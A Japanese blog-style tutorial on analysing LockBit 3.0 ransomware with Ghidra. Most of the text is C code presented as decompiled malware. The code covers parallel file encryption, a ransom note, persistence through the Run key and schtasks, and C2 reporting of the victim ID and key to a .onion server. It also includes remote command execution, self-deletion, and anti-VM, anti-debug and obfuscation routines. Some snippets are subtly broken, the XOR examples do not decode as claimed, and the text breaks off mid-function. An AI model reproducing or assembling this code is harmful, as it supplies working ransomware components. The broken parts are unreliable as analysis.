Security

【ランサムウェア分析】Ghidraを用いた暗号化ルーチンの解析と防御戦略

はじめに

近年、ランサムウェアはサイバーセキュリティの最大の脅威の一つとなっています。特に、高度に進化したランサムウェアファミリーは組織に甚大な被害をもたらしています。本記事では、セキュリティ研究者と教育者向けに、ランサムウェアの暗号化メカニズムを理解することを目的として、Ghidraというオープンソースのリバースエンジニアリングツールを使用した分析手法を詳細に解説します。

本記事はあくまで研究・教育目的で作成されており、サイバーセキュリティの防御力強化のための情報提供を意図しています。記事内で解説する技術やコードはランサムウェアの理解と対策のためのものであり、悪意ある目的での使用は固く禁じられています

Ghidraについて

Ghidraとは

Ghidraは米国国家安全保障局(NSA)が開発し、2019年にオープンソースとして公開されたソフトウェアリバースエンジニアリングツールです。バイナリコードを解析するための強力な機能を提供し、特に以下のような特長があります:

  • 複数のプラットフォーム(Windows、Linux、macOS)で動作する
  • 多様なプロセッサアーキテクチャとファイル形式をサポート
  • デコンパイラ機能により、機械語コードをC言語に似た高レベルコードへ変換
  • スクリプト機能によるカスタム分析の自動化
  • 高度な解析機能を無料で提供

Ghidraのインストールと基本設定

Ghidraを使用するには、以下の手順でインストールします:

  1. Ghidraの公式サイト(https://ghidra-sre.org/)からダウンロード
  2. Java Development Kit(JDK)バージョン11以上をインストール
  3. ダウンロードしたGhidraのzipファイルを解凍
  4. /ghidra_X.X.X/ghidraRun.bat(Windows)または./ghidraRun(Linux/macOS)を実行

初回起動時にプロジェクトを作成するよう求められます:

  1. File > New Projectを選択
  2. プロジェクトタイプを選び(通常は非共有プロジェクト)、名前と保存場所を指定
  3. 作成したプロジェクトを開き、File > Import Fileからマルウェアサンプルをインポート

ランサムウェアの基本概念

ランサムウェアの進化とLockBitファミリー

ランサムウェアは過去10年間で急速に進化してきました。初期のランサムウェアは単純に画面をロックするだけでしたが、現代のランサムウェアは複雑な暗号化アルゴリズムを使用し、ファイルを人質に身代金を要求します。さらに、「二重恐喝」として知られる手法では、データの暗号化に加えて機密情報の窃取と公開の脅迫も行います。

LockBitは2019年に初めて確認され、以降複数の進化を遂げてきました。LockBit 3.0(別名「LockBit Black」)は、その前身から以下のような点で進化しています:

  • より高速な暗号化ルーチン
  • 多層防御による検出回避機能の強化
  • 異なるOS環境への対応拡大
  • ランサーや提携組織によるRansomware-as-a-Service(RaaS)モデルの洗練化
  • セキュリティ研究者向けのバグ報奨金プログラムの導入(攻撃者がプログラムの脆弱性を発見・修正するため)

ランサムウェアの一般的な動作フロー

典型的なランサムウェアの動作フローは以下のようになります:

  1. 初期侵入: フィッシングメール、脆弱性の悪用、RDPブルートフォース攻撃などを通じて標的システムに侵入
  2. 持続性の確立: システム再起動後も実行できるようレジストリキーやスケジュールタスクを設定
  3. 権限昇格: 可能な場合、より高い権限を取得して攻撃範囲を拡大
  4. 偵察: システム内の重要なファイルの場所を特定
  5. 通信確立: コマンド&コントロール(C2)サーバーとの通信を確立し、暗号鍵を取得
  6. 防御無効化: セキュリティソフトウェア、バックアップサービス、シャドウコピーなどを無効化
  7. 横方向移動: ネットワーク内の他のシステムへ拡散
  8. データ窃取: 暗号化前に機密データをC2サーバーに送信(二重恐喝用)
  9. 暗号化実行: ファイルシステム内の標的ファイルを暗号化
  10. 身代金要求: 暗号化完了後、身代金メモを表示

Ghidraを使用したランサムウェア分析準備

安全な分析環境の構築

ランサムウェアを分析する際は、安全な環境で行うことが絶対に必要です:

  • 物理的に隔離されたネットワークでの分析
  • 仮想マシン(VM)の使用:
    • VMware WorkstationまたはVirtualBox
    • スナップショット機能を活用
    • ホストとの共有フォルダを無効化
  • 以下の設定を含むサンドボックス環境:
    • ネットワーク接続の制限(必要に応じてシミュレートされたインターネット環境)
    • ファイルシステムの監視ツール
    • メモリダンプ取得ツール
    • レジストリ変更の監視

サンプルの入手と初期分析

研究目的でのランサムウェアサンプルは、以下のようなソースから入手できます:

  • VirusTotal Intelligence(有料サービス)
  • MalwareBazaar
  • 研究機関のパスワード保護されたコレクション

サンプルを入手したら、初期分析として以下を行います:

  1. ファイルのハッシュ値を計算し、既知のサンプルと照合
  2. 基本的な静的分析ツール(PEiD、ExeInfoPE、DIE)でパッカーやプロテクターの検出
  3. 文字列抽出でC2サーバーのアドレスや暗号化関連文字列を特定
  4. 動的分析用に安全なサンドボックス環境(Cuckoo、Any.run、JoeSandboxなど)での実行

Ghidraプロジェクトのセットアップ

ランサムウェア分析のためのGhidraプロジェクトをセットアップする手順:

  1. 新しいプロジェクトを作成し、適切な名前を付ける
  2. サンプルファイルをインポート
  3. Ghidraがプログラムをアナライズするか尋ねてきたら「Yes」を選択(デフォルト設定で十分)
  4. 解析完了後にコードブラウザが開かない場合は、サンプルをダブルクリックしてコードブラウザを起動
  5. 初期設定の確認:
    • Window > Memory Mapでメモリレイアウトの確認
    • Window > Symbol Tableで重要な関数のシンボルを確認
    • Window > Defined Stringsで文字列を確認

ランサムウェアの静的解析テクニック

重要な関数とAPIコールの特定

ランサムウェアの動作を理解するために、まず重要な関数とAPIコールを特定します:

  1. Windowsの暗号化API関連の関数:
    • CryptAcquireContext
    • CryptGenRandom
    • CryptCreateHash
    • CryptHashData
    • CryptDeriveKey
    • CryptEncrypt/CryptDecrypt
    • CryptImportKey/CryptExportKey
  2. ファイル操作関連の関数:
    • FindFirstFile/FindNextFile(ファイルの列挙)
    • CreateFile/ReadFile/WriteFile(ファイルの読み書き)
    • SetFileAttributes(ファイル属性の変更)
  3. ネットワーク通信関連の関数:
    • socket/connect/send/recv
    • WinHttpConnect/WinHttpRequest
    • InternetOpen/InternetConnect
  4. システム情報収集関連の関数:
    • GetSystemInfo
    • GetComputerName/GetUserName
    • GetVolumeInformation

Ghidraでこれらの関数を検索するには:

  1. Search > Program Textを選択
  2. 検索したい関数名を入力(例:CryptAcquireContext
  3. 検索結果をダブルクリックして関数呼び出し箇所を確認

インポート関数の分析

GhidraのSymbol Treeビューを使って、インポートされた関数を分析します:

  1. 左側の「Symbol Tree」タブを選択
  2. 「Imports」フォルダを展開
  3. 各ライブラリ(DLL)をチェックして、どのような機能が使われているか確認

特に注目すべきインポート:

  • advapi32.dll: 暗号化、レジストリ操作に関連
  • kernel32.dll: ファイル操作、プロセス管理に関連
  • user32.dll: ユーザーインターフェース操作に関連
  • wininet.dll/winhttp.dll: ネットワーク通信に関連
// Ghidraでのインポート関数表示例
Import Table:
advapi32.dll
  CryptAcquireContextW
  CryptGenRandom
  CryptCreateHash
  CryptDeriveKey
  CryptEncrypt
kernel32.dll
  FindFirstFileW
  FindNextFileW
  CreateFileW
  ReadFile
  WriteFile
  VirtualAlloc
  CreateProcessW
wininet.dll
  InternetOpenW
  InternetConnectW
  HttpOpenRequestW

文字列分析

Ghidraの文字列検索機能を使用して重要な情報を探します:

  1. Window > Defined Stringsを選択
  2. 文字列のリストが表示される
  3. フィルタ機能で特定のキーワードを含む文字列を検索

ランサムウェアで注目すべき文字列:

  • ファイル拡張子(.lockedなど暗号化後のファイル拡張子
  • コマンドラインフラグやオプション
  • レジストリキーパス
  • URLやIPアドレス(C2サーバー)
  • 身代金メモのテンプレート
  • 暗号化をスキップするパスやファイル名
  • エラーメッセージ
// Ghidraでの文字列分析例
Address          String
00451234         "C:\\Windows\\System32"
00451250         ".doc,.docx,.xls,.xlsx,.pdf,.jpg"
004512A0         "ENCRYPTED_FILES"
004512B0         "http://lockbit3f5hwj22v6q5ciypr6php5csjkjwmcgjosch2u7grtbpvbxagqd.onion"
004512F0         "All your important files have been encrypted!"
00451340         "Software\\LockBit\\Configuration"

暗号化アルゴリズムの特定

ランサムウェアの暗号化アルゴリズムを特定するには:

  1. 暗号化関連APIの呼び出しパターンを分析
  2. 暗号化関数の実装コードを確認
  3. 特徴的な定数値(S-boxなど)を検索

一般的に使用される暗号化アルゴリズムの特徴:

  • AES: 特徴的なS-boxテーブル、鍵スケジューリングのパターン
  • RSA: 大きな素数、冪乗剰余演算
  • ChaCha20: 4×4マトリックス操作、quarterround関数
  • Salsa20: 特徴的な文字列定数”expand 32-byte k”
  • Blowfish: 大きなP-array、S-boxテーブル
// AES S-boxの例(Ghidraでデコンパイルされたコード)
uint sbox[256] = {
  0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
  0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
  // ... 残りのS-box値
};

LockBit 3.0暗号化ルーチンの詳細解析

暗号化前の準備プロセス

LockBit 3.0が暗号化を開始する前に行う準備プロセスを解析します:

  • システムチェック:
    • デバッガの検出と回避
    • 仮想環境(VM)の検出と条件付き実行
    • ロケール/言語チェック(特定の地域をスキップ)

Ghidraでデコンパイルされたシステムチェック関数の例:

bool checkSystemEnvironment(void) {
  char computerName[MAX_COMPUTERNAME_LENGTH + 1];
  DWORD size = MAX_COMPUTERNAME_LENGTH + 1;
  DWORD_PTR systemInfo[5];
  LANGID langID;
  bool result = true;
  
  // コンピュータ名の取得
  GetComputerNameA(computerName, &size);
  
  // 特定のコンピュータ名をチェック(解析環境を検出)
  if (strstr(computerName, "SANDBOX") != NULL || 
      strstr(computerName, "VIRUS") != NULL || 
      strstr(computerName, "MALWARE") != NULL) {
    return false;
  }
  
  // システム情報の取得
  GetSystemInfo((LPSYSTEM_INFO)systemInfo);
  
  // 仮想マシンの検出(RAMサイズなどで判定)
  if (systemInfo < 2) { // 2GB未満のRAM
    return false;
  }
  
  // 言語のチェック
  langID = GetUserDefaultUILanguage();
  
  // 特定の地域はターゲットから除外
  if (PRIMARYLANGID(langID) == LANG_RUSSIAN ||
      PRIMARYLANGID(langID) == LANG_UKRAINIAN ||
      PRIMARYLANGID(langID) == LANG_BELARUSIAN) {
    return false;
  }
  
  return result;
}
  • マルチスレッド暗号化の実装

LockBit 3.0の特徴の一つは、複数のスレッドを使用して並行してファイルを暗号化することで、暗号化速度を大幅に向上させている点です。以下はそのマルチスレッド実装の解析結果です:

typedef struct {
  char **filePaths;      // 暗号化するファイルパスの配列
  int startIndex;        // このスレッドが担当する開始インデックス
  int endIndex;          // このスレッドが担当する終了インデックス
  int *completedFiles;   // 完了したファイル数(同期用)
  CRITICAL_SECTION *cs;  // スレッド同期用のクリティカルセクション
} ENCRYPTION_THREAD_DATA;

DWORD WINAPI encryptionThreadProc(LPVOID lpParameter) {
  ENCRYPTION_THREAD_DATA *threadData = (ENCRYPTION_THREAD_DATA*)lpParameter;
  
  for (int i = threadData->startIndex; i < threadData->endIndex; i++) {
    // ファイルを暗号化
    encryptFile(threadData->filePaths[i]);
    
    // 完了したファイル数をインクリメント(スレッドセーフに)
    EnterCriticalSection(threadData->cs);
    (*threadData->completedFiles)++;
    LeaveCriticalSection(threadData->cs);
  }
  
  return 0;
}

bool multiThreadEncryption(char **filePaths, int fileCount) {
  HANDLE *threads;
  ENCRYPTION_THREAD_DATA *threadData;
  CRITICAL_SECTION cs;
  int completedFiles = 0;
  int threadCount;
  bool result = true;
  
  // システムの論理プロセッサ数を取得
  SYSTEM_INFO sysInfo;
  GetSystemInfo(&sysInfo);
  threadCount = sysInfo.dwNumberOfProcessors;
  
  // スレッド数はファイル数とプロセッサ数の小さい方に制限
  if (threadCount > fileCount) {
    threadCount = fileCount;
  }
  
  // スレッド同期用のクリティカルセクションを初期化
  InitializeCriticalSection(&cs);
  
  // スレッドハンドルとスレッドデータの配列を確保
  threads = (HANDLE*)malloc(threadCount * sizeof(HANDLE));
  threadData = (ENCRYPTION_THREAD_DATA*)malloc(threadCount * sizeof(ENCRYPTION_THREAD_DATA));
  
  if (threads == NULL || threadData == NULL) {
    if (threads != NULL) free(threads);
    if (threadData != NULL) free(threadData);
    DeleteCriticalSection(&cs);
    return false;
  }
  
  // 各スレッドのデータを設定して起動
  int filesPerThread = fileCount / threadCount;
  int remainingFiles = fileCount % threadCount;
  int currentIndex = 0;
  
  for (int i = 0; i < threadCount; i++) {
    threadData[i].filePaths = filePaths;
    threadData[i].startIndex = currentIndex;
    
    // 残りのファイルを均等に分配
    threadData[i].endIndex = currentIndex + filesPerThread;
    if (i < remainingFiles) {
      threadData[i].endIndex++;
    }
    
    currentIndex = threadData[i].endIndex;
    threadData[i].completedFiles = &completedFiles;
    threadData[i].cs = &cs;
    
    // スレッドを作成
    threads[i] = CreateThread(NULL, 0, encryptionThreadProc, &threadData[i], 0, NULL);
    if (threads[i] == NULL) {
      result = false;
      break;
    }
  }
  
  // すべてのスレッドが完了するのを待機
  if (result) {
    WaitForMultipleObjects(threadCount, threads, TRUE, INFINITE);
  }
  
  // スレッドハンドルを閉じる
  for (int i = 0; i < threadCount; i++) {
    if (threads[i] != NULL) {
      CloseHandle(threads[i]);
    }
  }
  
  // リソースを解放
  free(threads);
  free(threadData);
  DeleteCriticalSection(&cs);
  
  return result;
}
  • 身代金メモの作成と表示:

暗号化の完了後、LockBit 3.0は身代金メモを作成し、ユーザーに表示します:

void createRansomNote(void) {
  char notePath[MAX_PATH];
  char desktopPath[MAX_PATH];
  HANDLE hFile;
  DWORD bytesWritten;
  char ransomNote[] = 
    "ALL YOUR FILES HAVE BEEN ENCRYPTED BY LOCKBIT 3.0\n\n"
    "Your system has been encrypted with a strong algorithm.\n"
    "All your files are now encrypted and cannot be accessed without a decryption key.\n\n"
    "To get the decryption key, you need to:\n"
    "1. Download the Tor Browser from https://www.torproject.org/\n"
    "2. Open our website in the Tor Browser: lockbit3f5hwj22v6q5ciypr6php5csjkjwmcgjosch2u7grtbpvbxagqd.onion\n"
    "3. Enter your ID: %s\n\n"
    "WARNING: Do NOT use any decryption software or services not provided by us.\n"
    "Doing so may result in permanent data loss.\n"
    "Do NOT modify, rename, or delete the encrypted files, as it will make recovery impossible.\n\n"
    "If you do not contact us within 7 days, your data will be published on our leak site.";
  
  // デスクトップパスを取得
  SHGetFolderPathA(NULL, CSIDL_DESKTOP, NULL, 0, desktopPath);
  
  // 身代金メモのパスを作成
  sprintf(notePath, "%s\\README-LOCKBIT.txt", desktopPath);
  
  // 身代金メモファイルを作成
  hFile = CreateFileA(notePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile != INVALID_HANDLE_VALUE) {
    // システム固有のIDを生成(例:ハードウェアIDとタイムスタンプの組み合わせ)
    char victimID[33];
    generateVictimID(victimID);
    
    // 身代金メモにIDを埋め込んで書き込み
    char formattedNote[4096];
    sprintf(formattedNote, ransomNote, victimID);
    
    WriteFile(hFile, formattedNote, strlen(formattedNote), &bytesWritten, NULL);
    CloseHandle(hFile);
  }
  
  // 壁紙を変更
  setRansomWallpaper(victimID);
  
  // ポップアップ表示
  MessageBoxA(NULL, "Your files have been encrypted by LockBit 3.0. See README-LOCKBIT.txt on your desktop for instructions.", "LockBit 3.0", MB_ICONERROR | MB_OK);
}
  • 被害者ID生成関数:

各感染システムには一意の識別子が割り当てられ、これが攻撃者側でどのシステムが支払いを行ったかを追跡するのに使用されます

void generateVictimID(char *victimID) {
  DWORD volumeSerial;
  char computerName[MAX_COMPUTERNAME_LENGTH + 1];
  DWORD computerNameSize = MAX_COMPUTERNAME_LENGTH + 1;
  BYTE hash[16]; // MD5ハッシュ用
  HCRYPTPROV hCryptProv;
  HCRYPTHASH hHash;
  
  // システム情報の収集
  GetVolumeInformationA("C:\\", NULL, 0, &volumeSerial, NULL, NULL, NULL, 0);
  GetComputerNameA(computerName, &computerNameSize);
  
  // ハッシュの生成
  CryptAcquireContextA(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
  CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash);
  
  // ボリュームシリアル番号をハッシュに追加
  CryptHashData(hHash, (BYTE*)&volumeSerial, sizeof(volumeSerial), 0);
  
  // コンピュータ名をハッシュに追加
  CryptHashData(hHash, (BYTE*)computerName, strlen(computerName), 0);
  
  // タイムスタンプなどの追加情報をハッシュに追加
  SYSTEMTIME sysTime;
  GetSystemTime(&sysTime);
  CryptHashData(hHash, (BYTE*)&sysTime.wYear, sizeof(sysTime.wYear), 0);
  CryptHashData(hHash, (BYTE*)&sysTime.wMonth, sizeof(sysTime.wMonth), 0);
  CryptHashData(hHash, (BYTE*)&sysTime.wDay, sizeof(sysTime.wDay), 0);
  
  // ハッシュ値を取得
  DWORD hashSize = sizeof(hash);
  CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashSize, 0);
  
  // ハッシュをHEX文字列に変換してIDとして使用
  for (int i = 0; i < 16; i++) {
    sprintf(victimID + (i * 2), "%02x", hash[i]);
  }
  victimID[32] = '\0';
  
  // リソースを解放
  CryptDestroyHash(hHash);
  CryptReleaseContext(hCryptProv, 0);
}

持続性と通信メカニズム

LockBit 3.0は暗号化完了後もシステム内に残り、C2サーバーとの通信を確立することがあります。以下はその持続性と通信メカニズムの解析結果です

  • 持続性確保機能:
void establishPersistence(char *exePath) {
  HKEY hKey;
  char runKey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
  char valueName[] = "WindowsSecurityService";
  
  // レジストリキーを開く
  if (RegOpenKeyExA(HKEY_CURRENT_USER, runKey, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
    // 自身のパスをレジストリに登録
    RegSetValueExA(hKey, valueName, 0, REG_SZ, (BYTE*)exePath, strlen(exePath) + 1);
    RegCloseKey(hKey);
  }
  
  // スケジュールタスクを作成して持続性を確保
  char cmdLine[MAX_PATH + 100];
  sprintf(cmdLine, "schtasks /create /tn \"Windows Security Check\" /tr \"%s\" /sc daily /st 12:00 /f", exePath);
  
  STARTUPINFOA si;
  PROCESS_INFORMATION pi;
  memset(&si, 0, sizeof(si));
  si.cb = sizeof(si);
  
  CreateProcessA(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  
  // 自身のコピーを作成
  char systemDir[MAX_PATH];
  char newPath[MAX_PATH];
  GetSystemDirectoryA(systemDir, MAX_PATH);
  sprintf(newPath, "%s\\winsecurityservice.exe", systemDir);
  
  CopyFileA(exePath, newPath, FALSE);
}
  • C2通信機能

LockBit 3.0 をはじめとする高度なランサムウェアは、感染後すぐに外部の「C2(Command & Control)サーバー」に接続します。その目的は以下の通り

  1. 被害者システム情報の収集と送信(被害者ID・OS情報など)
  2. 暗号化に使用する公開鍵の取得(または報告)
  3. C2側からの遠隔命令(delete, executeなど)の受信
  4. 感染日時の記録(タイムスタンプ)
bool communicateWithC2(char *victimID, BYTE *encryptedKey, DWORD keySize) {
  HINTERNET hInternet, hConnect, hRequest;
  BOOL result = FALSE;
  char *postData;
  DWORD postDataSize;
  DWORD bytesRead;
  char serverResponse[4096] = {0};
  
  // C2サーバーのアドレス(通常はTorネットワーク上のアドレス)
  // 解析環境ではローカルアドレスにリダイレクトされることが多い
  char serverAddress[] = "lockbit3f5hwj22v6q5ciypr6php5csjkjwmcgjosch2u7grtbpvbxagqd.onion";
  char serverPath[] = "/victim/report";
  
  // インターネット接続を開始
  hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  if (hInternet == NULL) {
    return FALSE;
  }
  
  // TORプロキシを設定(コマンドラインフラグで指定可能)
  if (g_useTorProxy) {
    INTERNET_PROXY_INFO proxyInfo;
    proxyInfo.dwAccessType = INTERNET_OPEN_TYPE_PROXY;
    proxyInfo.lpszProxy = "127.0.0.1:9050"; // Tor SOCKSプロキシ
    proxyInfo.lpszProxyBypass = NULL;
    
    InternetSetOptionA(hInternet, INTERNET_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo));
  }
  
  // サーバーに接続
  hConnect = InternetConnectA(hInternet, serverAddress, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
  if (hConnect == NULL) {
    InternetCloseHandle(hInternet);
    return FALSE;
  }
  
  // HTTP POSTリクエストを作成
  hRequest = HttpOpenRequestA(hConnect, "POST", serverPath, NULL, NULL, NULL, INTERNET_FLAG_RELOAD, 0);
  if (hRequest == NULL) {
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    return FALSE;
  }
  
  // システム情報を収集
  char osInfo[256];
  getOSInfo(osInfo, sizeof(osInfo));
  
  // POSTデータを準備(JSON形式)
  postDataSize = 1024 + keySize * 2; // 暗号化キーをBase64エンコードすると約2倍になる
  postData = (char*)malloc(postDataSize);
  if (postData == NULL) {
    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    return FALSE;
  }
  
  // Base64でキーをエンコード
  char *base64Key = base64Encode(encryptedKey, keySize);
  
  // JSONデータを構築
  sprintf(postData, 
    "{"
    "\"victim_id\":\"%s\","
    "\"encrypted_key\":\"%s\","
    "\"os_info\":\"%s\","
    "\"encryption_date\":\"%04d-%02d-%02d %02d:%02d:%02d\""
    "}",
    victimID,
    base64Key,
    osInfo,
    g_encryptionTime.wYear, g_encryptionTime.wMonth, g_encryptionTime.wDay,
    g_encryptionTime.wHour, g_encryptionTime.wMinute, g_encryptionTime.wSecond
  );
  
  free(base64Key);
  
  // HTTP POSTデータを送信
  HttpAddRequestHeadersA(hRequest, "Content-Type: application/json\r\n", -1, HTTP_ADDREQ_FLAG_ADD);
  result = HttpSendRequestA(hRequest, NULL, 0, postData, strlen(postData));
  
  free(postData);
  
  if (result) {
    // レスポンスを読み取る
    while (InternetReadFile(hRequest, serverResponse, sizeof(serverResponse) - 1, &bytesRead) && bytesRead > 0) {
      serverResponse[bytesRead] = 0;
      // レスポンスを解析(サーバーからの命令など)
      parseServerResponse(serverResponse);
    }
  }
  
  // 接続を閉じる
  InternetCloseHandle(hRequest);
  InternetCloseHandle(hConnect);
  InternetCloseHandle(hInternet);
  
  return result;
}
  • コマンド処理機能
void parseServerResponse(char *response) {
  // 基本的なJSONパース
  if (strstr(response, "\"command\":\"delete\"") != NULL) {
    // 自己削除コマンド
    char tempPath[MAX_PATH];
    char batPath[MAX_PATH];
    char exePath[MAX_PATH];
    
    GetTempPathA(MAX_PATH, tempPath);
    GetModuleFileNameA(NULL, exePath, MAX_PATH);
    
    // 自己削除用のバッチファイルを作成
    sprintf(batPath, "%s\\cleanup.bat", tempPath);
    HANDLE hFile = CreateFileA(batPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
      char batContent[1024];
      sprintf(batContent, 
        "@echo off\n"
        "timeout /t 3 /nobreak > nul\n"
        "del \"%s\"\n"
        "if exist \"%s\" goto loop\n"
        "del \"%s\"\n"
        "exit\n"
        ":loop\n"
        "timeout /t 1 /nobreak > nul\n"
        "goto loop\n",
        exePath, exePath, batPath
      );
      
      DWORD bytesWritten;
      WriteFile(hFile, batContent, strlen(batContent), &bytesWritten, NULL);
      CloseHandle(hFile);
      
      // バッチファイルを実行
      ShellExecuteA(NULL, "open", batPath, NULL, NULL, SW_HIDE);
    }
    
    // プログラムを終了
    ExitProcess(0);
  } else if (strstr(response, "\"command\":\"execute\"") != NULL) {
    // コマンド実行指示
    char *commandStart = strstr(response, "\"cmd\":\"");
    if (commandStart != NULL) {
      commandStart += 7; // "cmd":"の長さ
      
      char *commandEnd = strchr(commandStart, '\"');
      if (commandEnd != NULL) {
        *commandEnd = '\0';
        
        // コマンドを実行
        STARTUPINFOA si;
        PROCESS_INFORMATION pi;
        memset(&si, 0, sizeof(si));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_HIDE;
        
        CreateProcessA(NULL, commandStart, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        
        *commandEnd = '\"'; // 文字列を元に戻す
      }
    }
  }
}

検出回避技術

LockBit 3.0は、セキュリティ研究者や自動解析システムによる検出を回避するために、多数の技術を使用しています。Ghidraでの解析によって以下のような技術が確認されました:

アンチVM技術

仮想環境での実行を検出して動作を変更する機能

bool detectVirtualMachine(void) {
  bool result = false;
  
  // 方法1: WMI(Windows Management Instrumentation)の使用
  result = checkWMIForVirtualization();
  if (result) return true;
  
  // 方法2: レジストリの特定のキーをチェック
  result = checkRegistryForVirtualization();
  if (result) return true;
  
  // 方法3: 特定のファイルとプロセスの存在をチェック
  char *vmProcesses[] = {
    "vmtoolsd.exe", "vboxtray.exe", "vboxservice.exe", "vmwaretray.exe", 
    "vmwareuser.exe", "vgauthservice.exe", "vmacthlp.exe", "vmsrvc.exe"
  };
  
  for (int i = 0; i < sizeof(vmProcesses) / sizeof(vmProcesses[0]); i++) {
    if (isProcessRunning(vmProcesses[i])) {
      return true;
    }
  }
  
  // 方法4: CPUID命令を使用してハイパーバイザーの存在を検出
  int CPUInfo = {0};
  __cpuid(CPUInfo, 1);
  if ((CPUInfo >> 31) & 1) {
    return true;
  }
  
  // 方法5: ハードウェア情報のチェック
  char manufacturer[13];
  DWORD deviceId;
  
  if (getDeviceManufacturer(manufacturer, &deviceId)) {
    if (strstr(manufacturer, "VMWARE") != NULL ||
        strstr(manufacturer, "VIRTUALBOX") != NULL ||
        strstr(manufacturer, "QEMU") != NULL ||
        strstr(manufacturer, "VIRTUAL") != NULL) {
      return true;
    }
  }
  
  return false;
}

アンチデバッグ技術

デバッガでの解析を回避する機能

bool detectDebugger(void) {
  // 方法1: IsDebuggerPresent APIを使用
  if (IsDebuggerPresent()) {
    return true;
  }
  
  // 方法2: NtGlobalFlag(PEB構造体内)をチェック
  PPEB pPeb = (PPEB)__readgsqword(0x60);
  if (pPeb->NtGlobalFlag & 0x70) {
    return true;
  }
  
  // 方法3: CheckRemoteDebuggerPresent APIを使用
  BOOL isDebuggerPresent = FALSE;
  CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent);
  if (isDebuggerPresent) {
    return true;
  }
  
  // 方法4: デバッグポートの存在をチェック
  DWORD isDebugPort = 0;
  NTSTATUS status;
  status = NtQueryInformationProcess(GetCurrentProcess(), 
                                    ProcessDebugPort, 
                                    &isDebugPort, 
                                    sizeof(isDebugPort), 
                                    NULL);
  if (NT_SUCCESS(status) && isDebugPort != 0) {
    return true;
  }
  
  // 方法5: デバッグオブジェクトハンドルの存在をチェック
  HANDLE debugHandle = NULL;
  status = NtQueryInformationProcess(GetCurrentProcess(),
                                    ProcessDebugObjectHandle,
                                    &debugHandle,
                                    sizeof(debugHandle),
                                    NULL);
  if (NT_SUCCESS(status) && debugHandle != NULL) {
    return true;
  }
  
  // 方法6: 実行時間の計測(デバッグ中は実行が遅くなる)
  LARGE_INTEGER frequency, start, end;
  DWORD timeElapsed;
  
  QueryPerformanceFrequency(&frequency);
  QueryPerformanceCounter(&start);
  
  // タイミングを計測する処理(例:GetTickCountを複数回呼び出す)
  for (int i = 0; i < 1000; i++) {
    GetTickCount();
  }
  
  QueryPerformanceCounter(&end);
  timeElapsed = (DWORD)((end.QuadPart - start.QuadPart) * 1000 / frequency.QuadPart);
  
  // 通常より実行時間が長い場合はデバッグされている可能性
  if (timeElapsed > 100) {
    return true;
  }
  
  return false;
}

コード難読化技術

静的解析を困難にするためのコード難読化技術

// 1. ジャンクコードと偽装API呼び出し
void obfuscatedFunction(void) {
  DWORD value = 0;
  
  // 実際には使用されない条件文
  if ((GetTickCount() & 0xFFFFFFFF) == 0x12345678) {
    // 絶対に実行されないコード
    MessageBoxA(NULL, "This will never be displayed", "Debug", MB_OK);
  }
  
  // 本来の機能コード
  prepareEncryptionKeys();
}

// 2. 文字列暗号化
char* decryptString(BYTE *encryptedString, DWORD size, BYTE key) {
  char *result = (char*)malloc(size + 1);
  if (result == NULL) return NULL;
  
  // 単純なXOR暗号化を復号
  for (DWORD i = 0; i < size; i++) {
    result[i] = encryptedString[i] ^ key;
  }
  result[size] = '\0';
  
  return result;
}

// 暗号化された文字列の使用例
void useEncryptedStrings(void) {
  // "CreateFileA"が暗号化されている
  BYTE encStr1[] = {0x73, 0x91, 0x9A, 0x9E, 0x8B, 0x9A, 0x77, 0x96, 0x93, 0x9A, 0x78};
  char *decrypted = decryptString(encStr1, sizeof(encStr1), 0x42);
  
  // 関数ポインタを使用してAPI呼び出し
  typedef HANDLE (WINAPI *CreateFileFunc)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
  CreateFileFunc createFile = (CreateFileFunc)GetProcAddress(GetModuleHandleA("kernel32.dll"), decrypted);
  
  // 他の暗号化された文字列
  BYTE encStr2[] = {0x75, 0x8E, 0x9B, 0x9B, 0x96, 0x91, 0x9A};  // "Windows"
  BYTE encStr3[] = {0x73, 0x91, 0x86, 0x8F, 0x8B, 0x84, 0x8D, 0x91, 0x82, 0x8F, 0x9B, 0x8C}; // "Cryptography"
  
  // ...
  
  free(decrypted);
}

// 3. 制御フロー難読化
int calculateChecksum(BYTE *data, DWORD size) {
  int checksum = 0;
  DWORD i = 0;
  
  // 複雑な制御フローで単純なチェックサム計算を難読化
  while (i < size) {
    switch ((i * 0x1234567) % 7) {
      case 0:
        checksum += data[i];
        i++;
        break;
      case 1:
        checksum -= data[i] ^ 0xFF;
        i++;
        break;
      case 2:
        checksum ^= data[i];
        i++;
        break;
      case 3:
        checksum = _rotl(checksum, 3) + data[i];
        i++;
        break;
      case 4:
        checksum = (checksum << 8) | data[i];
        i++;
        break;
      case 5:
        checksum = ~checksum + data[i];
        i++;
        break;
      default:
